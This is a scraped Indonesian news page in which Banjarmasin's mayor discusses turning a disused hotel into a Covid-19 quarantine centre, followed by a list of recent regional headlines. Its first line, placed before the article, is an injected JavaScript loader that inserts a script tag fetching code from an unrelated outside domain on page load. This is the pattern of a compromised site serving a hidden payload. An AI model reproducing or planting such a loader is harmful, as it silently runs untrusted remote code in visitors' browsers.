(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Hotel A di Banjarmasin Jadi Pusat Karantina? Walikota Ibnu: Perlu Pembenahan Besar!


KANALKALIMANTAN.COM, BANJARMASIN – Setelah sempat muncul penolakan terkait digunakannya Gedung Diklat BKD Kota Banjarmasin sebagai pusat karantina khusus Covid-19 oleh warga Komplek Kayu Tangi II, Jalan Brigjen Hasan Basry Kelurahan Pangeran, Banjarmasin, rupanya Pemko Banjarmasin membidik lokasi baru. Berhembus kabar, Hotel A yang sudah tidak beroperasi lagi, diwacanakan sebagai pusat karantina khusus.

Apakah akan direalisasikan oleh Wali Kota Banjarmasin H. Ibnu Sina sebagai alternatif pengganti Balai Diklat BKD yang sempat mendapat penolakan? “Memang itu beberapa alternatif lain. Termasuk hotel-hotel lain, memang kita harus siapkan,“ kata Ibnu di Banjarmasin, Senin (13/4/2020) siang.

Ibnu menegaskan, pada dasarnya, lima kecamatan di Kota Banjarmasin memang seharusnya sudah menyiapkan tempat karantina masing-masing. Ia beralasan, diperlukannya pusat karantina, karena tidak semua orang dalam pemantauan (ODP) memiliki kamar khusus untuk mengisolasi diri.

“Ketika di rumah, apakah ada jaminan tidak menularkan kepada seisi rumah. Penting sekali untuk meminimalisir, dan ini adalah cara kita melawan Covid-19,” tegas Ibnu.

Diakui Ibnu, jika seandainya jadi dipergunakan, Gedung Diklat BKD memiliki kapasitas 97 ruangan. Cukup besar untuk pusat karantina khusus.

Lalu, berapa kapasitas yang mampu ditampung Hotel A yang diwacanakan? “Saya tidak tahu persis, ya. Tapi kondisinya perlu pembenahan besar juga. Karena sudah lama tidak dihuni. Kemudian apakah bisa berfungsi atau tidak, seperti listrik, air, sarana dan prasarana lainnya,” beber Ibnu.

Diakuinya, pihaknya telah berkomunikasi dengan pemilik perantara gedung Hotel A kemarin. Karena, pemilik peantara ini memiliki hubungan dengan pemilik gedung yang diketahui berada di Kota Surabaya.

Namun demikian, Ibnu menyebut belum ada informasi lebih lanjut terkait dengan keinginan pemko menggunakan gedung yang berlokasi di persimpangan antara Jalan Lambung Mangkurat dan Jalan Pangeran Samudera ini. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

13 menit ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

2 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

2 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

3 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

4 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

5 jam ago

This website uses cookies.